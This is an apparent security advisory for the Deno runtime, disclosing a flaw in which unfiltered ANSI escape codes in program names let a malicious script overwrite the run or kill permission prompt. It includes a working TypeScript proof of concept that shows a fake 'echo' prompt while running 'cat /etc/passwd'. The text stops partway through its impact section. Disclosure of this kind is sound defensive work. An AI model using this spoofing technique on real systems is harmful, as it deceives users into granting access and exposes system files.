Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). This issue has been patched in version 1.31.2.

Affected: crates.io: deno_runtime, crates.io: deno

### Summary Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text.

### Details

The main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`.

### PoC

This PoC works on 1.31.1, but modified versions of it work on older versions.

Make a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt

```ts const boldANSI = "\u001b[1m" // bold const unboldANSI = "\u001b[22m" // unbold

const prompt = `┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI} ├ Requested by \`Deno.Command().output()`

const moveANSIUp = "\u001b[1A" // moves to the start of the line const clearANSI = "\u001b[2K" // clears the line const moveANSIStart = "\u001b[1000D" // moves to the start of the line

Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({ cmd: "cat", args: ["/etc/passwd"], clearEnv: false, env: [], stdin: "null", stdout: "inherit", stderr: "piped" }, moveANSIUp + clearANSI + moveANSIStart + prompt) ```

Run the file with `deno run index.ts`.

### Impac…